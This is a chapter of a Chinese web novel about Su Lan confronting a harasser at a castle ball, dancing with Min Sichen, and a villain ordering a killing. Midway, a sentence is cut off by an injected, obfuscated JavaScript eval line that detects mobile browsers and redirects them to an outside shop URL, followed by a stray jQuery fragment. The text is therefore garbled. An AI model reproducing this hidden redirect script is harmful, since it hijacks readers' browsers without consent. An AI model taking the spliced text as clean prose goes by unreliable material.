跟着他回到大厅,远远望见,闵司臣和路易的谈话还没结束。
苏澜沿着舞厅逛了一圈,低调观察着人群。
她提前调查过那个叫罗杰·德维特的。褐色短发,浅蓝色瞳孔,还有和他父亲一样的瘦削脸庞。
对比他发布在社交媒体的近照,苏澜很快在宾客中发现了他。
彼时他言行高调,和一左一右两个姑娘聊得正欢。
穿过人群,苏澜坚定地朝他走去。罗杰注意到她,眼神便被吸住一般,久久不能移开目光。
“新来的妹子,没见过啊。”
“你叫什么?陪哪个男人过来的?”
说的是德语,他粗鄙的用词令苏澜感到不适。
德维特家的独子,WDA毫无疑问的接班人。凭借这个头衔,的确够他在这场宴会目中无人了。
“我叫苏澜。”
不管他怎么样,苏澜还是很讲礼貌:“请问是德维特先生吗。很高兴认识你。”
“天呐!这位小姐竟然能认出我!简直是太厉害了!”
男人大笑起来,瘦弱的胸腔抖动着,朝着左右两个姑娘调侃:“要是连我都认不得,我可要怀疑你是怎么混进来的了!”
他眯起眼,狭长的眼睛在这张瘦削的脸上显得傲慢而刻薄。
“今晚这儿只有两个德维特,一个是我,一个是我爸。你要是想找我爸,也不是不行……”
“不过他最近喜欢熟女了哈哈哈哈!”
苏澜有点无语,但忍了。
一想到是这种烂东西在骚扰她家之音,又好像忍不了。
深呼吸,调整好心态,苏澜保持着自己那份礼貌:“许之音,您认识吗。”
听到许之音的名字,罗杰睁大眼睛,很是惊喜,“你认识她!”
将苏澜上下一番打量,他懂了:“小姐,你也是北城来的吧。那地方可真不错,遍地美人。”
“许之音这个女人不识抬举,你看上去倒比她要聪明一些。”
苏澜指甲嵌进了手心,冷哼一声:“你就是这样追求她的?”
“你把她当什么了?”
“怎么?”
罗杰看傻子似的看她:“关你什么事?她没脑子你也没脑子啊?”
“你不会是来替她出气的吧?”
嫌命太长?知不知道这里是谁的地盘?
罗杰上前两步,偏着脑袋,轻蔑盯着她。身边的两个女孩面无表情地沉默着。
苏澜努力沉着气,认真和他谈:“德维特先生,您怎么玩我都管不着,但请你以后不要再骚扰之音。她是个好女孩,你……”
“好好好,好女孩。”
罗杰随意将她打断,居高临下睥睨着,“我最近就喜欢玩好女孩。怎,么,样?”
行。跟这种垃圾再聊也是浪费。苏澜甩下一个眼神警告,扭头就走。
手臂却被人蛮横地抓住,拖回来:“诶诶诶,谁让你走了。”
“没听见我说吗,我最近就喜欢玩好女孩,尤其是像你这种的。”
男人舔了舔发白的嘴唇:“东方脸,生气起来最可爱了。”
真是令人作呕。
苏澜彻底冷下脸:“放开。”
“这么多人看着,你想做什么。”
他笑得更猖狂了,甚至觉得这种被人挑衅的感觉久违地刺激:“是啊。这么多人看着,你看有人会帮你吗。”
【苏小姐,别冲动。】
苏澜:就折断他几根手指的话不算冲动吧!
【苏小姐,闵先生后续还需要跟WDA达成合作。】
苏澜:起码让我扇两巴掌解解气!
“放开她。”
定睛,闵司郁出现在他身后。
黑暗处,苏澜敏锐捕捉到子弹上膛的声音。
那声音她不可能听错,但参加舞会需要通过安全检查,所有人不允许携带危险物品进场……
罗杰身体一僵,表情冻在脸上,变成了恐慌又不可置信的模样,慢慢松开了他作威的手。
“你,你别激动……你想做什么?”
他甚至不敢回头,颤抖的话音维系着可笑的自尊:“你知道我是谁吗,你……”
闵司郁冷笑:“管你是谁。”
“别用你的脏手碰她,和她的朋友。”
原来是为了这个女的!
罗杰头点得比捣蒜还快:“好好好我知道了,我保证我保证!”
“以后小心点,”闵司郁收起手里的东西,按着他的肩头,温馨警告,“否则,你父亲……”
后面的话苏澜没有听清,只能看到罗杰的表情变了又变,从害怕转为愤怒、不甘,最后是一种近乎惊悚的呆滞。
他到底说什么了?
“走吧。”
没多言语,闵司郁将苏澜护在身后,带她往大厅的另一侧走去。
舞会正好开始。
齐声奏响的管弦乐掩盖过一切,回荡在空旷的城堡上空。
恢宏而庄严的塑像之下,仿佛刚才一切都不曾发生。
苏澜走到角落,有些迟疑:“刚刚……”
“没什么,我吓唬他罢了。”
闵司郁笑得温柔,一如既往,“在这边做事不比国内,下手还是要狠一些才行。”
“还有,你替朋友出头的样子很帅。”
原来他一早就听见了。
“总之还是要谢谢你。”苏澜往来时的方向看去,罗杰早就不知道溜哪去了。
“没想到你也会讲德语?”她问。
“都是小时候学的了。”闵司郁很谦虚道:“这方面,恐怕还是兄长比较擅长。”
“他也会?”
苏澜转念一想,闵司郁大概是在说原著的男主会吧。
也不对啊!
“如果他会德语,为什么这一趟还要找我做翻译?”
“怕你会逃走。”
“什么?”
隐隐约约听见他说话,想要再次确认时,闵司郁已经转过身去。
“哥。”
沿着他的目光,闵司臣不知何时出现的,很自然走到她身边。
苏澜见他一个人,没看见路易:“你们聊完了?”
“嗯。”
他颔首,那张乖戾的脸上难得有几分温驯,“快把家底都告诉我了。再聊下去也没有价值。”
预热的间奏进入尾声,宾客们陆续进入舞池,第一首曲子就要开始。
闵司臣牵过她的手,屈膝,俯首,“不知,能否请苏小姐共舞一曲。”
以往他总是高高在上的,很少能从这个视角看他。
暗黄的光影打在半边颌骨,眼瞳蛰伏在眉骨的阴影中,幽深却又张扬,令人无法移开视线。
“当然。”
苏澜随他步入舞池中央,轻轻搭上他的肩。华尔兹很久没有跳过了,不过大致的记忆还在。
三年前,他们也结识于这样一场舞会。
那时他才二十四岁,在一群老谋深算的竞争对手眼里,只是个涉世未深的小辈。
很快,事实和结果证明了他的能力。他拥有不属于那个年纪的戾气与老成,但到底只是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518933|140731||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男人。
那年她刚满二十,还是第一次接手绝密级的任务。
苏澜用一支舞吸引住他,用一周的时间欲擒故纵,在一个月后高调成为他的女友。
最后没几个月就把人甩了。
期间有用的机密打探不到,要查的证据查不出来,什么也没捞着还把色相赔了进去。
听从机构安排和他分手,却被这人全城通缉,沦为亡命之徒。
倒贴还赔钱的买卖!
这么久过去,想起这事苏澜还是牙痒痒。
“项链是怎么回事?”
趁着音乐声响,苏澜在靠近时轻声问他,“那封信,你带了?”
“嗯。”
旋转,追步,迂回,听不清他语气:“什么时候起,这么不信任我的能力。”
“……我只是怕出现意外。”
舞步复杂,苏澜不小心踩到他脚。
“比如这种意外?”
“才不是!”
弦乐最后一个音符止住,一曲终了,会场掌声响彻。
苏澜谢了幕,不情不愿挽着闵司臣离开舞池。
余光瞥见罗杰又出现了。
这次站在他父亲身边,又恢复了那股得意的神气。在暗处,冷笑着盯着她看。
周遭还有几个神色异常的侍应,时不时观察着她和闵司臣的动向。
回到吧台边缘,闵司郁独自站在那里。
闵司臣少见地主动开口,问他怎么不邀个舞伴,跳一曲。
交谊舞已经是基本的社交项目,名流子弟从小的必修课,他不可能是不会。
“难道已经有心上人了?”闵司臣随口一句,眼神却没有玩笑的意思。
这话题听得苏澜耳朵马上竖起来,原著可从没提过反派的心上人这么劲爆的话题。
闵司郁既没肯定,也没否认,只是暧昧不清地笑了笑。
那感觉绝对是有!
苏澜也跟着八卦:“真的假的,是咱们认识的人?”
他笑一笑,喝一杯酒,故意勾她好奇心似的:“是。”
只卖关子,却不揭晓答案。
“怎么没和家里说。”闵司臣揽过苏澜,带着她往自己身边靠。
“你中意的,一向是要争取到手的。”
“感情的事急不了。”闵司郁无奈道,“不过,我会努力追求她的。”
“对了。”
闵司郁抬了抬眉,伸手指了指上头:“严叔说,有空的话上楼找他一趟。他在五楼,一号贵宾休息室等你。”
闻言,苏澜和闵司臣对视一眼,交换眼神。
严正德的计划要开始了。
“那我就在这等你。”
苏澜替他理了理衣襟,指尖拂过他胸口,轻轻停留,“快去快回。”
……
五楼。贵宾室内。
严正德夹着雪茄,在落地窗前听电话。
“他还以为,买架飞机,雇个俄罗斯人,就可以逃过一劫了?真是天真!”他一阵大笑。
抬手,便有人跪在一旁端烟灰缸。
“钱不是问题,我出双倍。”
“不,五倍!”
“方法不重要,失事、意外,或是坠毁,都不重要。我只认结果。”
“我只要他死。”
睨一眼身旁跪着的人,严正德冷笑着将烟丢在地上,名贵的地毯被烧出黑色伤痕,最终被他踩在脚下。
“那个女人?”
他皱着眉,闭眼,再睁开,望向窗外漆黑的夜色。
“一起解决。”